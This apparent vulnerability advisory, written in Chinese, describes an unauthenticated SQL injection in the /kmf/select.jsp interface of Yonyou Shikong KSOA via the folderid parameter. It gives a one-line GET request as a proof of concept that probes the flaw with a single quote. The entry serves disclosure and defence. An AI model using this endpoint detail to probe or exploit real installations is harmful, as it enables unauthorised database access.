用友时空 KSOA /kmf/select.jsp SQL 注入漏洞

2026-03-13 用友时空KSOA PoC Public

Description

用友时空KSOA 的select接口存在 SQL 注入漏洞。攻击者可通过在 folderid 参数中插入恶意 SQL 语句，实现未授权的数据库操作。

PoC

GET /kmf/select.jsp?folderid=' HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yongyoushikong KSOA /kmf/select.jsp SQL Injection Vulnerability

References

Related Vulnerabilities